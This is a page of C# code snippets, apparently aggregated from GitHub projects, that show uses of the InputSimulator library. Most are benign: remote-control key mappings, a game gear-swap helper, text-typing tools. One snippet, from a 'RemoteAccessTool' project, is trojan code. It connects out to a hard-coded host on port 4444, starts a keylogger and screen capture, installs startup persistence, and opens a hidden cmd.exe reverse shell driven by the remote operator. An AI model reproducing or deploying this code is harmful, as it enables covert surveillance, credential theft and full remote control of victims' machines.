            case MCCommands.GreenButton:
                InputSimulator.SimulateKeyDown(VirtualKeyCode.LWIN);
                InputSimulator.SimulateKeyDown(VirtualKeyCode.MENU);
                InputSimulator.SimulateKeyPress(VirtualKeyCode.RETURN);
                InputSimulator.SimulateKeyUp(VirtualKeyCode.MENU);
                InputSimulator.SimulateKeyUp(VirtualKeyCode.LWIN);
                break;

            case MCCommands.Power:
                if (File.Exists(MEDIA_CENTER_PATH))
                {
                    System.Diagnostics.Process.Start(MEDIA_CENTER_PATH);
                }

                /*
                 *             SendKeyDown(VK.VK_MENU);
                 * SendKeyStroke(VK.VK_F4);
                 * SendKeyUp(VK.VK_MENU);
                 */
                break;

            case MCCommands.AlphaA:
                InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_A);
                break;

            case MCCommands.AlphaB:
                InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_B);
                break;

            case MCCommands.AlphaC:
                InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_C);
                break;

            case MCCommands.AlphaD:
                InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_D);
                break;

            case MCCommands.AlphaE:
                InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_E);
                break;

            case MCCommands.AlphaF:
                InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_F);
                break;

            case MCCommands.AlphaG:
                InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_G);
                break;

            case MCCommands.AlphaH:
                InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_H);
                break;

            case MCCommands.AlphaI:
                InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_I);
                break;

            case MCCommands.AlphaJ:
                InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_J);
                break;

            case MCCommands.AlphaK:
                InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_K);
                break;

            case MCCommands.AlphaL:
                InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_L);
                break;

            case MCCommands.AlphaM:
                InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_M);
                break;

            case MCCommands.AlphaN:
                InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_N);
                break;

            case MCCommands.AlphaO:
                InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_O);
                break;

            case MCCommands.AlphaP:
                InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_P);
                break;

            case MCCommands.AlphaQ:
                InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_Q);
                break;

            case MCCommands.AlphaR:
                InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_R);
                break;

            case MCCommands.AlphaS:
                InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_S);
                break;

            case MCCommands.AlphaT:
                InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_T);
                break;

            case MCCommands.AlphaU:
                InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_U);
                break;

            case MCCommands.AlphaV:
                InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_V);
                break;

            case MCCommands.AlphaW:
                InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_W);
                break;

            case MCCommands.AlphaX:
                InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_X);
                break;

            case MCCommands.AlphaY:
                InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_Y);
                break;

            case MCCommands.AlphaZ:
                InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_Z);
                break;
            }
        }
コード例 #13
0
 public void TogglePause()
 {
     InputSimulator.SimulateKeyPress(VirtualKeyCode.ESCAPE);
 }
コード例 #14
0
ファイル: GearSwap.cs プロジェクト: cynesis/D3Helper.Public
        public static void tryGearSwap()
        {
            try
            {
                isSwaping = true;

                bool CollectionChanged = false;

                // Save Current Cursor Pos
                Point getCursorPos = new Point((int)Cursor.Position.X, (int)Cursor.Position.Y);

                // Get Current Pressed SwapHotkey Id
                int  Current_SwapId = A_Collection.Me.GearSwap.Selected_SwapId;
                long HeroId         = A_Collection.Me.HeroGlobals.HeroID;

                // Get Collection of Items to Swap
                lock (A_Collection.Me.GearSwap.GearSwaps)
                {
                    var GearSwap = A_Collection.Me.GearSwap.GearSwaps.ToList().Where(x => x.HeroID == HeroId && x.SwapId == Current_SwapId).ToList();


                    if (GearSwap.Count() > 0)
                    {
                        // Check If Inventory is opened otherwise Open it
                        if (InventoryOpened())
                        {
                            int _Ring_Counter     = 0;
                            int _1HWeapon_Counter = 0;

                            for (int i = 0; i < GearSwap.Count(); i++)
                            {
                                // Get ItemType
                                A_Enums.ItemTypes ItemType = GetItemTypeByItemSeed(GearSwap[i].ItemSeed);

                                if (ItemType == A_Enums.ItemTypes.Ring)
                                {
                                    _Ring_Counter = _Ring_Counter + 1;
                                }
                                if (ItemType == A_Enums.ItemTypes._1HWeapon)
                                {
                                    _1HWeapon_Counter = _1HWeapon_Counter + 1;
                                }

                                // Get UIRect of current Item to Swap
                                UIRect ItemUIRect = A_Collection.D3UI.InventoryItemUIRectMesh.FirstOrDefault(x => x.Key.ItemSlotX == GearSwap[i].ItemSlotX && x.Key.ItemSlotY == GearSwap[i].ItemSlotY).Value;

                                // Buffer Current Equipped Items before Swaping Item
                                var           Inventory_Buffer    = ActorCommonDataHelper.EnumerateInventoryItems();
                                List <double> Pre_Inventory_Seeds = new List <double>();
                                foreach (var Item in Inventory_Buffer)
                                {
                                    double Seed = Item.GetAttributeValue(Enigma.D3.Enums.AttributeId.Seed);
                                    Pre_Inventory_Seeds.Add(Seed);
                                }

                                // Right Click on Random Point in Items UIRect
                                bool IsAltSwap = false;

                                if (ItemType == A_Enums.ItemTypes._1HWeapon && _1HWeapon_Counter >= 2)
                                {
                                    IsAltSwap = true;

                                    InputSimulator.SimulateKeyDown(VirtualKeyCode.LMENU);
                                }
                                if (ItemType == A_Enums.ItemTypes.Ring && _Ring_Counter >= 2)
                                {
                                    IsAltSwap = true;

                                    InputSimulator.SimulateKeyDown(VirtualKeyCode.LMENU);
                                }

                                while (!IsItemSeedEquipped(GearSwap[i].ItemSeed) && A_Tools.T_D3UI.UIElement.isVisible(A_Enums.UIElements.Inventory))
                                {
                                    A_Tools.InputSimulator.IS_Mouse.RightCLick((int)ItemUIRect.Left, (int)ItemUIRect.Top, (int)ItemUIRect.Right, (int)ItemUIRect.Bottom);
                                    Thread.Sleep(250);
                                }

                                if (IsAltSwap)
                                {
                                    InputSimulator.SimulateKeyUp(VirtualKeyCode.LMENU);
                                }

                                // Equipped Items after Swaping
                                var           Inventory           = ActorCommonDataHelper.EnumerateInventoryItems();
                                List <double> Cur_Inventory_Seeds = new List <double>();
                                foreach (var Item in Inventory)
                                {
                                    double Seed = Item.GetAttributeValue(Enigma.D3.Enums.AttributeId.Seed);
                                    Cur_Inventory_Seeds.Add(Seed);
                                }

                                // Diff Equipped and Equipped_Buffer and add Swapped Item(s) to GearSwap
                                foreach (var seed in Pre_Inventory_Seeds)
                                {
                                    if (!Cur_Inventory_Seeds.Contains(seed))
                                    {
                                        //Console.WriteLine("Inventory Items changed! Item removed!");

                                        var TryGetEntry = A_Collection.Me.GearSwap.GearSwaps.FirstOrDefault(x => x.HeroID == HeroId && x.SwapId == Current_SwapId && x.ItemSeed == seed);

                                        if (TryGetEntry != null)
                                        {
                                            A_Collection.Me.GearSwap.GearSwaps.Remove(TryGetEntry);

                                            CollectionChanged = true;
                                        }
                                    }
                                }
                                foreach (var seed in Cur_Inventory_Seeds)
                                {
                                    if (!Pre_Inventory_Seeds.Contains(seed))
                                    {
                                        //Console.WriteLine("Inventory Items changed! Item added!");

                                        var TryGetEntry = A_Collection.Me.GearSwap.GearSwaps.FirstOrDefault(x => x.HeroID == HeroId && x.SwapId == Current_SwapId && x.ItemSeed == seed);

                                        if (TryGetEntry == null)
                                        {
                                            var item =
                                                Inventory.FirstOrDefault(
                                                    x => x.GetAttributeValue(AttributeId.Seed) == seed);

                                            A_Collection.Me.GearSwap.GearSwaps.Add(new GearSwapItem(HeroId, Current_SwapId, seed, item.x118_ItemSlotX, item.x11C_ItemSlotY, GearSwap[i].ItemSize));

                                            CollectionChanged = true;
                                        }
                                    }
                                }

                                if (CollectionChanged)
                                {
                                    A_Tools.T_ExternalFile.GearSwaps.Save();
                                }
                            }
                        }
                    }


                    // Close Inventory
                    CloseInventory();

                    // Restore Cursor Pos to previous Pos
                    Cursor.Position = getCursorPos;



                    isSwaping = false;
                }
            }
            catch { isSwaping = false; }
        }
コード例 #15
0
ファイル: Model.cs プロジェクト: Mene-hub/RageBot
        public void CommandRecived(string e)
        {
            e = e.ToLower();
            InputSimulator input = new InputSimulator();

            update();

            if (e.Split(' ')[0] == "!minimize")
            {
                Minimize();
            }

            if (e == "!altab")
            {
                AltTab();
            }

            if (e.Split(' ')[0] == "!volume")
            {
                Chancge_Volume(int.Parse(e.Split(' ')[1]) > 100 ? 100 : int.Parse(e.Split(' ')[1]) < 0 ? 0 : int.Parse(e.Split(' ')[1]));
            }

            //su cod non va
            if (e.Split(' ')[0] == "!entry" && DashConfig.EntryEnable)
            {
                for (int i = 1; i < e.Split(' ').Length; i++)
                {
                    input.Keyboard.TextEntry(e.Split(' ')[i] + " ");
                }
            }

            /*if(e=="!stop")
             *  System.Diagnostics.Process.Start("shutdown", "/s /t 0");*/

            if (e.Split(' ')[0] == "!mouse" && DashConfig.MouseEnable)
            {
                try
                {
                    if (e.Split(' ')[1] == "shoot" && DashConfig.MouseShootEnable)
                    {
                        input.Mouse.LeftButtonDown();
                        Thread.Sleep(1000);
                        input.Mouse.LeftButtonUp();
                    }

                    //int tempo = int.Parse(e.Split(' ')[3]);
                    int x = int.Parse(e.Split(' ')[1]);
                    int y = int.Parse(e.Split(' ')[2]);

                    /*if (int.Parse(e.Split(' ')[3]) > 2)
                     *  tempo = 2;*/

                    if (x > DashConfig.MouseSens)
                    {
                        x = DashConfig.MouseSens;
                    }

                    if (y > DashConfig.MouseSens)
                    {
                        y = DashConfig.MouseSens;
                    }

                    for (int i = 0; i < 50; i++)
                    {
                        input.Mouse.MoveMouseBy(x, y);
                        Thread.Sleep(10);
                    }
                }
                catch (Exception E) { }
            }
        }
コード例 #16
0
ファイル: KeyUp.cs プロジェクト: richardbang83/GNet
 public KeyUp(ScanCode scanCode)
 {
     Inputs   = new InputWrapper[] { InputSimulator.KeyWrapper(scanCode, true) };
     toString = "KeyUp(" + scanCode.ToString() + ")";
 }
コード例 #17
0
ファイル: KeyUp.cs プロジェクト: richardbang83/GNet
 public KeyUp(char key)
 {
     Inputs   = new InputWrapper[] { InputSimulator.KeyWrapper(key, true) };
     toString = "KeyUp(" + key + ")";
 }
コード例 #18
0
ファイル: Form1.cs プロジェクト: Cookiebot1/PastePro1
        /// <summary>
        ///     WindowProc callback function
        /// </summary>
        /// <param name="m"> The current windows message</param>
        protected override void WndProc(ref Message m)
        {
            // Capture message
            base.WndProc(ref m);

            // Switch on message.msg
            switch (m.Msg)
            {
            // If message was a copy event and the Paste String to First is checked...
            case 0x031D when PasteStringToFirst.Checked:
            {
                // If trim is checked, trim text else get clipboard as is
                var copiedText = TrimCopiedText.Checked ? Clipboard.GetText().Trim() : Clipboard.GetText();

                // If the copied text is not empty
                if (copiedText != string.Empty)
                {
                    // Set first string text to copied text
                    FirstString.Text = copiedText;
                }

                // break
                break;
            }

            // If message was one of our global hotkeys
            case 0x0312:
            {
                // Get ID of the hotkey that was pressed
                var id       = m.WParam.ToInt32();
                var modifier = ((int)m.LParam & 0xFFFF);

                // Declare the string to be pasted
                var stringToPaste = string.Empty;

                // Switch on the hotkey id, take corresponding value from text box if it is enabled in the UI
                switch (id)
                {
                case 0:
                    if (FirstEnabled.Checked)
                    {
                        stringToPaste = FirstString.Text;
                    }

                    break;

                case 1:
                    if (SecondEnabled.Checked)
                    {
                        stringToPaste = SecondString.Text;
                    }

                    break;

                case 2:
                    if (ThirdEnabled.Checked)
                    {
                        stringToPaste = ThirdString.Text;
                    }

                    break;

                case 3:
                    if (FourthEnabled.Checked)
                    {
                        stringToPaste = FourthString.Text;
                    }

                    break;
                }

                // If we got a string...
                if (stringToPaste != string.Empty)
                {
                    Debug.WriteLine("Hotkey pressed and detected");

                    // Send it as keystrokes.Note that we send the modifier keys CTRL, Shift and alt too before the actual string
                    // This is done to mitigate if the user keeps hotkey pressed. For example shift will make all pasted strings to be uppercase if not done
                    // this way
                    switch (modifier)
                    {
                    case 2:

                        SendKeys.SendWait("^");
                        break;

                    case 4:

                        SendKeys.SendWait("+");
                        break;
                    }

                    var simulator = new InputSimulator();
                    Thread.Sleep(100);
                    simulator.Keyboard.TextEntry(stringToPaste);
                }

                //  break
                break;
            }
            }
        }
コード例 #19
0
        public KeyboardHandler()
        {
            this.inputSimulator = new InputSimulator();

            this.keysDown = new HashSet <VirtualKeyCode>();
        }
コード例 #20
0
 public MouseRemoter(GattDeviceService remoteService) : base(remoteService)
 {
     inputSimulator = new InputSimulator();
     mouseSimulator = new MouseSimulator(inputSimulator);
 }
コード例 #21
0
ファイル: FileCompiler.cs プロジェクト: SlaxXxX/Arcaduino
 public abstract void keysDown(InputSimulator inSim);
コード例 #22
0
ファイル: Form1.cs プロジェクト: GokselKUCUKSAHIN/cSharp-CTE
 private void Button_Click(object sender, EventArgs e)
 {
     InputSimulator.SimulateKeyPress(VirtualKeyCode.NUMLOCK);
 }
コード例 #23
0
ファイル: FileCompiler.cs プロジェクト: SlaxXxX/Arcaduino
 public abstract void keysUp(InputSimulator inSim);
コード例 #24
0
ファイル: MouseHandler.cs プロジェクト: unknownnf/Touchmote
 public MouseHandler()
 {
     this.inputSimulator  = new InputSimulator();
     cursorPositionHelper = new CursorPositionHelper();
 }
コード例 #25
0
 public override void SynchroniseKeyState()
 {
     IsInEffect = InputSimulator.IsKeyDownAsync(KeyCode);
 }
コード例 #26
0
        public static void SendStuff()
        {
            string progPath = @"D:\0_User\Lukas\BWK\LED\USB Sequencer\Version 0.8\Windows 64\glo_ultimate_app.exe";

            Process p = Process.Start(new ProcessStartInfo(progPath)
            {
                WorkingDirectory = @"D:\0_User\Lukas\BWK\LED\USB Sequencer\Version 0.8\Windows 64"
            });

            p.WaitForInputIdle();

            Thread.Sleep(5000);


            //IntPtr windowHandle = FindWindow("SDL_app", "Glo-Ultimate app");
            IntPtr windowHandle = p.MainWindowHandle;

            // Verify that Calculator is a running process.
            if (windowHandle == IntPtr.Zero)
            {
                MessageBox.Show("Glo-Ultimate did not start properly.");
                return;
            }

            //SetForegroundWindow(windowHandle);
            //SendKeys.SendWait("111");
            //SendKeys.SendWait("*");
            //SendKeys.SendWait("11");
            //SendKeys.SendWait("=");

            var sim = new InputSimulator();

            ksim = sim.Keyboard;

            // navigate to first subdirectory
            k(VirtualKeyCode.F8);
            k(VirtualKeyCode.DOWN);
            k(VirtualKeyCode.RETURN);
            k(VirtualKeyCode.ESCAPE);

            for (int i = 0; i < 6; i++)
            {
                k(VirtualKeyCode.F8);
                k(VirtualKeyCode.DOWN);
                k(VirtualKeyCode.RETURN);
                ksim.Sleep(1500);
                k(VirtualKeyCode.DOWN);
            }

            ksim.Sleep(1000);
            k(VirtualKeyCode.F12);
            k(VirtualKeyCode.F5);

            Process.Start("notepad.exe");

            ksim.Sleep(5000);
            k(VirtualKeyCode.F6);

            p.CloseMainWindow();

            ksim = null;
        }
コード例 #27
0
        public async void SendInput(string inputText, WriterSettings settings, SetKeyTitle setKeyTitleFunction, bool areMacrosSupported = true)
        {
            if (String.IsNullOrEmpty(inputText))
            {
                Logger.Instance.LogMessage(TracingLevel.WARN, $"SendInput: Text is null");
                return;
            }

            if (settings == null)
            {
                Logger.Instance.LogMessage(TracingLevel.ERROR, $"SendInput: Settings is null");
                return;
            }

            InputRunning = true;
            await Task.Run(() =>
            {
                InputSimulator iis = new InputSimulator();
                string text        = inputText;

                if (settings.IgnoreNewline)
                {
                    text = text.Replace("\r\n", "\n").Replace("\n", "");
                }
                else if (settings.EnterMode)
                {
                    text = text.Replace("\r\n", "\n");
                }

                for (int idx = 0; idx < text.Length && !ForceStop; idx++)
                {
                    if (settings.EnterMode && text[idx] == '\n')
                    {
                        iis.Keyboard.KeyPress(WindowsInput.Native.VirtualKeyCode.RETURN);
                    }
                    else if (text[idx] == CommandTools.MACRO_START_CHAR)
                    {
                        string macro = CommandTools.ExtractMacro(text, idx);
                        if (!areMacrosSupported || String.IsNullOrWhiteSpace(macro)) // Not a macro, just input the character
                        {
                            InputChar(iis, text[idx], settings);
                        }
                        else if (macro == COMMENT_MACRO) // Comment, ignore everything until the next newline
                        {
                            var newPos = text.IndexOf('\n', idx);
                            // If no newline exists, skip the entire rest of the text
                            if (newPos < 0)
                            {
                                newPos = text.Length;
                            }
                            idx = newPos;
                        }
                        else // This is a macro, run it
                        {
                            idx  += macro.Length - 1;
                            macro = macro.Substring(1, macro.Length - 2);

                            HandleMacro(macro, settings, setKeyTitleFunction);
                        }
                    }
                    else
                    {
                        InputChar(iis, text[idx], settings);
                    }
                    Thread.Sleep(settings.Delay);
                }
            });

            InputRunning = false;
        }
コード例 #28
0
        public static void presionarTecla(string tecla)
        {
            tecla = tecla.ToLower();
            switch (tecla)
            {
            case "a": InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_A); break;

            case "bê": InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_B); break;

            case "cê": InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_C); break;

            case "dê": InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_D); break;

            case "é": InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_E); break;

            case "efe": InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_F); break;

            case "gê": InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_G); break;

            case "agá": InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_H); break;

            case "i": InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_I); break;

            case "jota": InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_J); break;

            case "cá": InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_K); break;

            case "ele": InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_L); break;

            case "eme": InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_M); break;

            case "ene": InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_N); break;

            case "ó": InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_O); break;

            case "pê": InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_P); break;

            case "quê": InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_Q); break;

            case "érre": InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_R); break;

            case "ésse": InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_S); break;

            case "tê": InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_T); break;

            case "dáblio": InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_W); break;

            case "u": InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_U); break;

            case "vê": InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_V); break;

            case "xis": InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_X); break;

            case "ípsilon": InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_Y); break;

            case "zê": InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_Z); break;

            case "baixo": InputSimulator.SimulateKeyPress(VirtualKeyCode.DOWN); break;

            case "esquerda": InputSimulator.SimulateKeyPress(VirtualKeyCode.LEFT); break;

            case "anterior": InputSimulator.SimulateKeyPress(VirtualKeyCode.BROWSER_BACK); break;

            case "avançar": InputSimulator.SimulateKeyPress(VirtualKeyCode.BROWSER_FORWARD); break;

            case "enter": InputSimulator.SimulateKeyPress(VirtualKeyCode.RETURN); break;

            case "tudo": InputSimulator.SimulateModifiedKeyStroke(VirtualKeyCode.CONTROL, VirtualKeyCode.VK_A); break;

            case "controlc": InputSimulator.SimulateModifiedKeyStroke(VirtualKeyCode.CONTROL, VirtualKeyCode.VK_C); break;

            case "controlv": InputSimulator.SimulateModifiedKeyStroke(VirtualKeyCode.CONTROL, VirtualKeyCode.VK_V); break;

            case "controlz": InputSimulator.SimulateModifiedKeyStroke(VirtualKeyCode.CONTROL, VirtualKeyCode.VK_Z); break;

            case "volume": InputSimulator.SimulateKeyPress(VirtualKeyCode.VOLUME_UP); break;

            case "volume1": InputSimulator.SimulateKeyPress(VirtualKeyCode.VOLUME_DOWN); break;

            case "navegador": InputSimulator.SimulateKeyPress(VirtualKeyCode.BROWSER_STOP); break;

            case "janela atual": InputSimulator.SimulateModifiedKeyStroke(new[] { VirtualKeyCode.MENU, VirtualKeyCode.SPACE }, new[] { VirtualKeyCode.VK_N }); break;

            case "nova guia e acessá-la": InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_T); break;

            case "nova janela no modo de navegação anônima": InputSimulator.SimulateModifiedKeyStroke(new[] { VirtualKeyCode.CONTROL, VirtualKeyCode.SHIFT }, new[] { VirtualKeyCode.VK_N }); break;

            case "próxima guia aberta": InputSimulator.SimulateModifiedKeyStroke(VirtualKeyCode.CONTROL, VirtualKeyCode.TAB); break;

            case "guia aberta anterior": InputSimulator.SimulateModifiedKeyStroke(new[] { VirtualKeyCode.CONTROL, VirtualKeyCode.SHIFT }, new[] { VirtualKeyCode.TAB }); break;

            case "guia atual": InputSimulator.SimulateModifiedKeyStroke(VirtualKeyCode.CONTROL, VirtualKeyCode.VK_W); break;

            case "guias abertas e o navegador":     InputSimulator.SimulateModifiedKeyStroke(new[] { VirtualKeyCode.CONTROL, VirtualKeyCode.SHIFT }, new[] { VirtualKeyCode.VK_W }); break;

            case "Google Chrome": InputSimulator.SimulateModifiedKeyStroke(new[] { VirtualKeyCode.CONTROL, VirtualKeyCode.SHIFT }, new[] { VirtualKeyCode.VK_Q }); break;
            }
        }
コード例 #29
0
        public async void SendStickyInput(string inputText, WriterSettings settings, SetKeyTitle setKeyTitleFunction, bool areMacrosSupported = true)
        {
            if (String.IsNullOrEmpty(inputText))
            {
                Logger.Instance.LogMessage(TracingLevel.WARN, $"SendStickyInput: Text is null");
                return;
            }

            if (settings == null)
            {
                Logger.Instance.LogMessage(TracingLevel.ERROR, $"SendStickyInput: Settings is null");
                return;
            }

            InputRunning = true;
            await Task.Run(() =>
            {
                InputSimulator iis = new InputSimulator();
                string text        = inputText;

                if (settings.IgnoreNewline)
                {
                    text = text.Replace("\r\n", "\n").Replace("\n", "");
                }
                else if (settings.EnterMode)
                {
                    text = text.Replace("\r\n", "\n");
                }

                int autoStopNum     = settings.AutoStopNum;
                bool isAutoStopMode = autoStopNum > 0;
                int counter         = autoStopNum;
                while (StickyEnabled)
                {
                    for (int idx = 0; idx < text.Length; idx++)
                    {
                        if (!StickyEnabled && !settings.RunUntilEnd) // Stop as soon as user presses button
                        {
                            break;
                        }
                        if (settings.EnterMode && text[idx] == '\n')
                        {
                            iis.Keyboard.KeyPress(WindowsInput.Native.VirtualKeyCode.RETURN);
                        }
                        else if (text[idx] == CommandTools.MACRO_START_CHAR)
                        {
                            string macro = CommandTools.ExtractMacro(text, idx);
                            if (!areMacrosSupported || String.IsNullOrWhiteSpace(macro)) // Not a macro, just input the character
                            {
                                iis.Keyboard.TextEntry(text[idx]);
                            }
                            else // This is a macro, run it
                            {
                                idx  += macro.Length - 1;
                                macro = macro.Substring(1, macro.Length - 2);

                                HandleMacro(macro, settings, setKeyTitleFunction);
                            }
                        }
                        else
                        {
                            iis.Keyboard.TextEntry(text[idx]);
                        }
                        Thread.Sleep(settings.Delay);
                    }
                    if (isAutoStopMode)
                    {
                        counter--; // First decrease, then check if equals zero
                        if (counter <= 0)
                        {
                            StickyEnabled = false;
                        }
                    }
                }
            });

            InputRunning = false;
        }
コード例 #30
0
ファイル: FileCompiler.cs プロジェクト: SlaxXxX/Arcaduino
 public override void keysDown(InputSimulator inSim)
 {
     inSim.Keyboard.ModifiedKeyStroke(primary, secondary);
 }
コード例 #31
0
ファイル: Form1.cs プロジェクト: josuerocha/RemoteAccessTool
        private void RunServer()
        {
            Threads   threads   = new Threads();
            Variables variables = new Variables();

            Connection.memoryStream = new MemoryStream();
            Connection.tcpClient    = new TcpClient();
            ImageStream.tcpClient   = new TcpClient();

            if (!Connection.tcpClient.Connected)
            {
                try
                {
                    try {
                        Connection.tcpClient.Connect("192.168.0.200", 4444);
                        Connection.networkStream = Connection.tcpClient.GetStream();
                        Connection.streamReader  = new StreamReader(Connection.networkStream);
                        Connection.streamWriter  = new StreamWriter(Connection.networkStream);
                    }
                    catch (Exception err)
                    {
                        return;
                    }
                    Connection.streamWriter.Write("****DataEater connected. Exploit ready*****.\r\n");
                    Connection.streamWriter.Flush();

                    threads.th_keylogging = new Thread(new ThreadStart(interceptKeys.Keylog));
                    threads.th_keylogging.Start();

                    threads.th_remoteDesktop = new Thread(new ThreadStart(remoting.SendImage));
                    threads.th_remoteDesktop.Start();

                    startupManager.Execute();

                    string line;
                    while (true)
                    {
                        line = "";
                        line = Connection.streamReader.ReadLine();
                        switch (line)
                        {
                        case "message":
                            Connection.streamWriter.Write("**Inform your message:** \r"); Connection.streamWriter.Flush();
                            string message = Connection.streamReader.ReadLine();
                            threads.th_message = new Thread(() => interaction.MessageCommand(message));
                            threads.th_message.Start();
                            break;

                        case "notifyIcon":
                            Connection.streamWriter.Write("**Inform title:** \r\n");
                            Connection.streamWriter.Flush();
                            string notifyTitle = Connection.streamReader.ReadLine();
                            Connection.streamWriter.Write("**Inform your message:** \r\n");
                            Connection.streamWriter.Flush();
                            string notifyMessage = Connection.streamReader.ReadLine();
                            Connection.streamWriter.Write("**Inform Time:** \r\n");
                            Connection.streamWriter.Flush();
                            string notifyTime = Connection.streamReader.ReadLine();
                            threads.th_notifyicon = new Thread(() => ShowNotifyIcon(notifyMessage, notifyTime, notifyTitle));
                            threads.th_notifyicon.Start();
                            break;

                        case "beep":
                            Connection.streamWriter.Write("**Inform time:** \r\n");
                            Connection.streamWriter.Flush();
                            string timeBeep = Connection.streamReader.ReadLine();
                            Connection.streamWriter.Write("**Inform frequency:** \r\n");
                            Connection.streamWriter.Flush();
                            string frequencyBeep = Connection.streamReader.ReadLine();
                            threads.th_beep = new Thread(() => sound.BeepCommand(timeBeep, frequencyBeep));
                            threads.th_beep.Start();
                            break;

                        case "blueScreen":
                            Connection.streamWriter.Write("**Inform time in seconds:** \r\n");
                            Connection.streamWriter.Flush();
                            string timeBlueScreen = Connection.streamReader.ReadLine();
                            threads.th_blueScreen = new Thread(() => interaction.BlueScreen(timeBlueScreen));
                            threads.th_blueScreen.Start();
                            break;

                        case "textEntry":
                            Connection.streamWriter.Write("**Inform text:** \r\n");
                            Connection.streamWriter.Flush();
                            string insertedText = Connection.streamReader.ReadLine();
                            interaction.EnterText(insertedText);
                            break;

                        case "help":
                            Connection.streamWriter.Write(variables.strHelp);
                            Connection.streamWriter.Flush();
                            break;

                        case "shutDownSV":
                            Connection.streamWriter.Flush();
                            Connection.ShutDownServer();
                            break;

                        case "ejectCD":
                            threads.th_ejectCD = new Thread(new ThreadStart(cd.EjectCD));
                            threads.th_ejectCD.Start();
                            break;

                        case "closeCD":
                            threads.th_closeCD = new Thread(new ThreadStart(cd.CloseCD));
                            threads.th_closeCD.Start();
                            break;

                        case "playSound":
                            threads.th_playSound = new Thread(new ThreadStart(sound.PlaySoundCommand));
                            threads.th_playSound.Start();
                            break;

                        case "changeWAVVolume":
                            Connection.streamWriter.Write("**Inform desired volume level (fraction of maxLevel):** \n");
                            Connection.streamWriter.Flush();
                            string level  = Connection.streamReader.ReadLine();
                            uint   levelu = Convert.ToUInt32(level);
                            threads.th_changeVolume = new Thread(() => sound.ChangeVolume(levelu));
                            threads.th_changeVolume.Start();
                            break;

                        case "capture":
                            remoting.CaptureDesktop();
                            remoting.SaveDesktop();
                            break;

                        case "incVol":
                            InputSimulator.SimulateKeyPress(VirtualKeyCode.VOLUME_UP);
                            break;

                        case "decVol":
                            InputSimulator.SimulateKeyPress(VirtualKeyCode.VOLUME_DOWN);
                            break;

                        case "muteVol":
                            InputSimulator.SimulateKeyPress(VirtualKeyCode.VOLUME_MUTE);
                            break;

                        case "shell":
                            Cmd.shellInitiated = true;
                            Cmd.processCmd.StartInfo.FileName               = "cmd.exe";
                            Cmd.processCmd.StartInfo.CreateNoWindow         = true;
                            Cmd.processCmd.StartInfo.UseShellExecute        = false;
                            Cmd.processCmd.StartInfo.RedirectStandardOutput = true;
                            Cmd.processCmd.StartInfo.RedirectStandardInput  = true;
                            Cmd.processCmd.StartInfo.RedirectStandardError  = true;
                            Cmd.processCmd.OutputDataReceived              += new DataReceivedEventHandler(Cmd.CmdOutputDataHandler);
                            Cmd.processCmd.Start();
                            Cmd.processCmd.BeginOutputReadLine();
                            Cmd.strInput = new StringBuilder();
                            while (true)
                            {
                                try
                                {
                                    Cmd.strInput.Append(Connection.streamReader.ReadLine());
                                    Cmd.strInput.Append("\n");
                                    Cmd.processCmd.StandardInput.WriteLine(Cmd.strInput);
                                    if (Cmd.strInput.ToString().LastIndexOf("exit") >= 0)
                                    {
                                        Connection.streamWriter.Write("**Shell exiting \n **");
                                        Connection.streamWriter.Flush();
                                        throw new ArgumentException();
                                    }
                                    Cmd.strInput = Cmd.strInput.Remove(0, Cmd.strInput.Length);
                                }
                                catch (Exception err)
                                {
                                    break;
                                };
                            }

                            break;

                        default:
                            Connection.streamWriter.Write("**Command not recognized. Show help dialog? (Y or N)** \r\n");
                            Connection.streamWriter.Flush();
                            string help = Connection.streamReader.ReadLine();
                            if (help == "Y" || help == "y")
                            {
                                Connection.streamWriter.Write(variables.strHelp);
                                Connection.streamWriter.Flush();
                            }
                            break;
                        }
                    }
                }
                catch (Exception err)
                {
                    Connection.ShutDownServer();
                }
            }
        }
コード例 #32
